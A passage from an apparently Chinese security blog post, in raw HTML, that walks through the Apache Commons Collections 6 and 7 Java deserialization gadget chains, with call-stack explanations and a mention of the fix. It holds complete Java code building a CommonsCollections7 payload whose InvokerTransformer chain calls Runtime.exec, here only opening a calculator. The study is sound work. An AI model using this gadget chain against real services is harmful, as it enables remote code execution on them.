Sans Fallback&#34;"></span></p><p style="margin-top:2px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:1px;"><span style="font-size:8px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">这样的话，当我们通过</span><span style="font-family: Verdana;">*map.add(entry)*</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的方式去生成恶意</span><span style="font-family: Verdana;">HashSet</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象的时候，看一下</span><span style="font-family: Verdana;">add</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法的调用栈</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.24082232011747431" data-s="300,640" style="" data-type="png" data-w="681" src="https://wechat2rss.xlab.app/img-proxy/?k=b63b80ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4223I0WlGV2ElV4WFcgw9nhcQFfyVVDYoyRq3Qsyt9xrtKt6kXMy5eA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top:0;margin-right:8px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: Verdana;">add</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法本身就会调用</span><span style="font-family: Verdana;">LazyMap</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">get</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，这样的话，我们需要造成</span><span style="font-family: Verdana;">RCE</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">在还没进行反序列化的时候，就已经被</span><span style="font-family: Verdana;">put</span><span style="font-family: &#34;Droid Sans Fallback&#34;">到</span><span style="font-family: Verdana;">this.map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">中去了，到了反序列化企图造成</span><span style="font-family: Verdana;">rce</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的时候，调用</span>   <span style="font-family: Verdana;">LazyMap</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">get</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，不会再去走</span><span style="font-family: Verdana;">if</span><span style="font-family: &#34;Droid Sans Fallback&#34;">语句而走到</span><span style="font-family: Verdana;">else</span><span style="font-family: &#34;Droid Sans Fallback&#34;">里面去了，从而无法造成命令执行。</span></span></p><p style="margin-top:12px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">当然这种情况并不是无解的，我们可以将上述两行代码中做一下修改变成这种形式：</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:343px;margin-left:91px;text-indent:0;text-align:left;line-height:116%;"><span style="line-height:116%;color:rgb(77,77,75);font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">HashSet map = <span class="code-snippet__keyword">new</span> HashSet(<span class="code-snippet__number">1</span>); map.<span class="code-snippet__keyword">add</span>(entry); lazyMap.<span class="code-snippet__keyword">remove</span>(<span class="code-snippet__string">&#34;foo&#34;</span>);</span></code></pre></section><p style="margin-top:0;margin-right:343px;margin-left:91px;text-indent:0;text-align:left;line-height:116%;"><span style="line-height:116%;color:rgb(77,77,75);font-size:14px;"></span></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">就是记得把</span><span style="font-family: Verdana;">lazyMap</span><span style="font-family: &#34;Droid Sans Fallback&#34;">中的</span><span style="font-family: Verdana;">this.map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">记得删除一下就完事了，也很简单</span><span style="font-family: Verdana;">~~~</span></span></p><p style="margin-top:11px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">现在我们去看一下使用反射机制生成恶意对象从而在反序列化后造成</span><span style="font-size: 14px;font-family: Verdana;">RCE</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的调用链：</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.49853801169590645" data-s="300,640" style="" data-type="png" data-w="684" src="https://wechat2rss.xlab.app/img-proxy/?k=ebf3c42e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4lic4MDnwHuYBB3zMpib2vicJBOYcRGvzQrGGrN2PgsKldhoEXU5vd8ibTA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">调用</span><span style="font-family: Verdana;">HashSet</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">readObject</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法进行反序列化，将恶意的</span><span style="font-family: Verdana;">TiedMapEntry</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象带入</span><span style="font-family: Verdana;">put</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.522189349112426" data-s="300,640" style="" data-type="png" data-w="676" src="https://wechat2rss.xlab.app/img-proxy/?k=08f0b163&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc49KNmicb0YV9SX8YcOSQSxsAE1wuYw53AuGrMX5K9a5HhEKoPSDLOHHQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:5px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-family: Verdana;">put</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数中会把恶意的</span><span style="font-family: Verdana;">TiedMapEntry</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象放入</span><span style="font-family: Verdana;">hash</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数中</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.41348973607038125" data-s="300,640" style="" data-type="png" data-w="682" src="https://wechat2rss.xlab.app/img-proxy/?k=afaf9b94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc49TicDfTjPhib50mn0Cjs9pqIajpgUbGrEjqpoGVGHvEX6PEhSZgH0qdQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left:7px;"><span style="font-size:13px;"> </span></p><p style="margin-top:4px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-family: Verdana;">hash</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数中调用了恶意的</span><span style="font-family: Verdana;">TiedMapEntry</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象的</span><span style="font-family: Verdana;">hashCode</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4780701754385965" data-s="300,640" style="" data-type="png" data-w="684" src="https://wechat2rss.xlab.app/img-proxy/?k=536abf3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc48h7EAFFlO6ibxUnPLuvibZ2xaAzgVXRx0qEpx1qoIdXWIqodib23StSUw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 20px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-family: Verdana;">hashCode</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数中会调用恶意的</span><span style="font-family: Verdana;">TiedMapEntry</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象自身的</span><span style="font-family: Verdana;">getValue</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.12187958883994127" data-s="300,640" style="" data-type="png" data-w="681" src="https://wechat2rss.xlab.app/img-proxy/?k=b8fca210&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4PUMJLgdriah2rdSibjlKAl2lFDGsMOfXPLmTz37mStibmmGdIUbofQcrg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:11px;"> </span></p><p style="margin-top:4px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-family: Verdana;">getValue</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数中调用</span><span style="font-family: Verdana;">this.map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">get</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.1390922401171303" data-s="300,640" style="" data-type="png" data-w="683" src="https://wechat2rss.xlab.app/img-proxy/?k=055cb811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4mOTCn2hX3Wesxd702QRHTnXFeUmIjDiaUFGE5QltYM7hykJicLIUkVDA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top:0;"><br/></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-family: Verdana;">get</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数中调用恶意</span><span style="font-family: Verdana;">TiedMapEntry</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的恶意</span><span style="font-family: Verdana;">factory</span><span style="font-family: &#34;Droid Sans Fallback&#34;">对象的</span><span style="font-family: Verdana;">tranform</span><span style="font-family: &#34;Droid Sans Fallback&#34;">方法，从而造成</span><span style="font-family: Verdana;">rce</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，这里面可以看到这个时候</span><span style="font-family: Verdana;">this.map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">是空的，所以我们能成功进入到</span><span style="font-family: Verdana;">if</span><span style="font-family: &#34;Droid Sans Fallback&#34;">语句中。</span></span><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:1px;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7884615384615384" data-s="300,640" style="" data-type="png" data-w="676" src="https://wechat2rss.xlab.app/img-proxy/?k=75e2ed48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4uJPia7icJQT3b1SqHXS9OwlwhpyOc5jicK8ib9tmKBVXVgntH4cJqcaTwA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">因为这个</span><span style="font-family: Verdana;">payload</span><span style="font-family: &#34;Droid Sans Fallback&#34;">也是用到了</span><span style="font-family: Verdana;">InvokerTransformer</span><span style="font-family: &#34;Droid Sans Fallback&#34;">类的，所以修复方案和第一个</span><span style="font-family: Verdana;">payload</span><span style="font-family: &#34;Droid Sans Fallback&#34;">是一样的。</span></span><span style="font-size: 3px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:1px;"><span style="font-size:8px;"> </span></p><h2 style="margin-top:0;"><span style="font-family: Verdana;font-size: 17px;">CommonsCollections7</span><span style="font-family:Verdana;font-size:16px;"></span></h2><p style="margin-top:0;"><span style="font-family:Verdana;font-size:14px;"> </span></p><p style="margin-top:0;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">适用版本：<span style="font-family: Verdana;">3.1-3.2.1</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，</span><span style="font-family: Verdana;">jdk1.7,1.8</span><span style="font-family: &#34;Droid Sans Fallback&#34;">均可成功</span></span></p><p style="margin-top:11px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;line-height:23px;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">CommonsCollections7</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">也是一个适用性比较好的</span><span style="font-size: 14px;font-family: Verdana;">payload</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">，在多种版本</span><span style="font-size: 14px;font-family: Verdana;">jdk</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">中都可以执行成功，它的坑点和</span><span style="font-size: 14px;font-family: Verdana;">CommonsCollections6</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">都有着一定的相似性。可以窥探到当把</span><span style="font-size: 14px;font-family: Verdana;">lazyMap</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">作为</span><span style="font-size: 14px;font-family: Verdana;">key</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">传入到</span><span style="font-size: 14px;font-family: Verdana;">hashset</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">或者</span><span style="font-size: 14px;font-family: Verdana;">hashtable</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的时候往往都会对</span><span style="font-size: 14px;font-family: Verdana;">lazyMap</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">本身的</span><span style="font-size: 14px;font-family: Verdana;">map</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">参数造成一定影响，而这种影响很容易导致</span><span style="font-size: 14px;font-family: Verdana;">rce</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的失败。</span></span></p><p style="margin-top:12px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;">看一下代码，关键的两步我都在代码里面加上了注释。</span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception {</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">String</span> command = <span class="code-snippet__string">&#34;open /Applications/Calculator.app/&#34;</span>; final <span class="code-snippet__built_in">String</span>[] execArgs = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>[]{command};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">final Transformer transformerChain = <span class="code-snippet__keyword">new</span> ChainedTransformer(<span class="code-snippet__keyword">new</span> Transformer[]{});</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">final Transformer[] transformers = <span class="code-snippet__keyword">new</span> Transformer[]{ <span class="code-snippet__keyword">new</span> ConstantTransformer(Runtime.class),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;getMethod&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> Class[]{<span class="code-snippet__built_in">String</span>.class, Class[].class}, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__string">&#34;getRuntime&#34;</span>, <span class="code-snippet__keyword">new</span> Class[<span class="code-snippet__number">0</span>]}),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;invoke&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> Class[]{<span class="code-snippet__built_in">Object</span>.class, <span class="code-snippet__built_in">Object</span>[].class}, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__literal">null</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[<span class="code-snippet__number">0</span>]}),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> InvokerTransformer(<span class="code-snippet__string">&#34;exec&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> Class[]{<span class="code-snippet__built_in">String</span>.class}, execArgs),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> ConstantTransformer(<span class="code-snippet__number">1</span>)};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Map</span> innerMap1 = <span class="code-snippet__keyword">new</span> HashMap(); <span class="code-snippet__built_in">Map</span> innerMap2 = <span class="code-snippet__keyword">new</span> HashMap();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Map</span> lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put(<span class="code-snippet__string">&#34;yy&#34;</span>, <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Map</span> lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put(<span class="code-snippet__string">&#34;zZ&#34;</span>, <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">Hashtable hashtable = <span class="code-snippet__keyword">new</span> Hashtable(); hashtable.put(lazyMap1, <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer" style="">//开启调试模式去跟一下hashtable.put(lazyMap2, 2)这个代码执行后的变量变化， 会发现会发现lazyMap2的map内多了一个 yy-&gt;yy的map</span></code><code><span class="code-snippet_outer">hashtable.put(lazyMap2, <span class="code-snippet__number">2</span>);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">setFieldValue(transformerChain, <span class="code-snippet__string">&#34;iTransformers&#34;</span>, transformers);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer" style="">//这一步正是为了删除在hashtable.put(lazyMap2, 2)后lazyMap2中多出的那个 yy-&gt;yy的map</span></code><code><span class="code-snippet_outer">lazyMap2.remove(<span class="code-snippet__string">&#34;yy&#34;</span>);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">FileOutputStream fos = <span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectOutputStream oos = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fos); oos.writeObject(hashtable);</span></code><code><span class="code-snippet_outer">oos.flush();</span></code><code><span class="code-snippet_outer">oos.close();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">FileInputStream fis = <span class="code-snippet__keyword">new</span> FileInputStream(<span class="code-snippet__string">&#34;payload.ser&#34;</span>); ObjectInputStream ois = <span class="code-snippet__keyword">new</span> ObjectInputStream(fis); <span class="code-snippet__built_in">Object</span> newObj = ois.readObject();</span></code><code><span class="code-snippet_outer">ois.close();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"> }</span></code></pre></section><p style="margin-top:1px;"><br/><span style="font-size:3px;"></span></p><p style="margin-top:4px;margin-right:18px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">这个代码的坑就在于当调用</span><span style="font-family: Verdana;">*hashtable.put(lazyMap2,   2)*</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的时候会因为</span><span style="font-family: Verdana;">put</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数的一系列操作把</span><span style="font-family: Verdana;">lazyMap2</span><span style="font-family: &#34;Droid Sans Fallback&#34;">变成了我们不期望的模样。</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="432" data-backw="574" data-before-oversubscription-url="https://mmbiz.qpic.cn/mmbiz_png/6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc44Rzs7RhaqkZg64MwTQYkCy5ZPORl924kvEiaHJNLGoqJVQFTNhVXkjA/?wx_fmt=png" data-ratio="0.7525622254758418" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="683" src="https://wechat2rss.xlab.app/img-proxy/?k=abd81890&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc44Rzs7RhaqkZg64MwTQYkCy5ZPORl924kvEiaHJNLGoqJVQFTNhVXkjA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:5px;"> </span></p><p style="margin-top:0;margin-right:12px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">可以看到</span><span style="font-family: Verdana;">lazyMap</span><span style="font-family: &#34;Droid Sans Fallback&#34;">中的</span><span style="font-family: Verdana;">map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">多了一个</span><span style="font-family: Verdana;">yy-&gt;yy</span><span style="font-family: &#34;Droid Sans Fallback&#34;">，其实一旦出现这种情况我们就知道肯定和</span><span style="font-family: Verdana;">lazyMap</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">get</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数有关，</span> <span style="font-family: &#34;Droid Sans Fallback&#34;">打个断点看一下什么情况。</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="277" data-backw="574" data-before-oversubscription-url="https://mmbiz.qpic.cn/mmbiz_png/6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4reOr6l2TicCzLJEehxSic1oTmqlRAEu7soImpHlGMaWsx9vRjp2p0icbA/?wx_fmt=png" data-oversubscription-url="http://mmbiz.qpic.cn/mmbiz_jpg/6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4V2cpXnoNic1X83LCZlWATic8NibxpUwVw1RU9errnAClsRvictITNTJxdA/0?wx_fmt=jpeg" data-ratio="0.4822485207100592" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="676" src="https://wechat2rss.xlab.app/img-proxy/?k=e747ec42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4V2cpXnoNic1X83LCZlWATic8NibxpUwVw1RU9errnAClsRvictITNTJxdA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-top:3px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">遇到这种情况处理起来也很简单，</span><span style="font-family: Verdana;">*lazyMap2.remove(&#34;yy&#34;)*</span><span style="font-family: &#34;Droid Sans Fallback&#34;">就完事了。</span></span></p><p style="margin-top:11px;margin-right:0;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-size: 14px;font-family: Verdana;">OK</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">，明白了</span><span style="font-size: 14px;font-family: Verdana;">payload</span><span style="font-size: 14px;font-family: &#34;Droid Sans Fallback&#34;">的生成代码，接下来我们就去看一下反序列化时候的利用链。</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4743777452415813" data-s="300,640" style="" data-type="png" data-w="683" src="https://wechat2rss.xlab.app/img-proxy/?k=dd66016c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4dMNBLkWkZqUGTibfxJTW6wXaDRJoRAZfNjh4IUlicUEh4miaQDJlQmSicg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:5px;"> </span></p><p><span style="font-size: 14px;"><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">在</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">Hashtable</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">readObject</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">方法中会把每个</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">key-value</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">往</span><span style="font-size: 14px;text-align: left;font-family: Verdana;">table</span><span style="font-size: 14px;text-align: left;font-family: &#34;Droid Sans Fallback&#34;">里面丢</span></span><span style="text-align: left;font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p><span style="text-align: left;font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6554744525547446" data-s="300,640" style="" data-type="png" data-w="685" src="https://wechat2rss.xlab.app/img-proxy/?k=fafaaa18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4U1d9BHy9VUuBibTUrjEibIib2GnlIOOTU6kA7Bs4iaQEVGNiaibRyicaH1ibibQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top:0;"><span style="font-size:3px;"> </span></p><p style="margin-top:5px;margin-right:15px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">从往</span><span style="font-family: Verdana;">table</span><span style="font-family: &#34;Droid Sans Fallback&#34;">中丢第二个</span><span style="font-family: Verdana;">map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的时候，就需要开始让它的</span><span style="font-family: Verdana;">key</span><span style="font-family: &#34;Droid Sans Fallback&#34;">和之前的</span><span style="font-family: Verdana;">key</span><span style="font-family: &#34;Droid Sans Fallback&#34;">进行对比，看看有没有重复以决定是新添加一个</span><span style="font-family: Verdana;">map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">还是覆盖原有的</span></span><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"></span></p><p style="margin-top:5px;margin-right:15px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 13px;font-family: &#34;Droid Sans Fallback&#34;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.16374269005847952" data-s="300,640" style="" data-type="png" data-w="684" src="https://wechat2rss.xlab.app/img-proxy/?k=3d5ebc56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6jCD3YNNCB5kiasEiacHdmc4XQlweRORajibiakXyPUyduFicQAorBicveJX3cic9xFPxlbUFKfAMC0Qyqg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:5px;"> </span></p><p style="margin-top:0;margin-right:13px;margin-left:7px;text-indent:0;text-align:left;"><span style="font-size: 14px;"><span style="font-family: &#34;Droid Sans Fallback&#34;">然后经过两个</span><span style="font-family: Verdana;">equals</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数后自然而然的要去调用对于</span><span style="font-family: Verdana;">map</span><span style="font-family: &#34;Droid Sans Fallback&#34;">的</span><span style="font-family: Verdana;">get</span><span style="font-family: &#34;Droid Sans Fallback&#34;">函数以获取值，以做修改，于是就又来到了我们熟悉额</span><span style="font-family: Verdana;">lazyMap</span><span style="font-family: &#34;Droid Sans 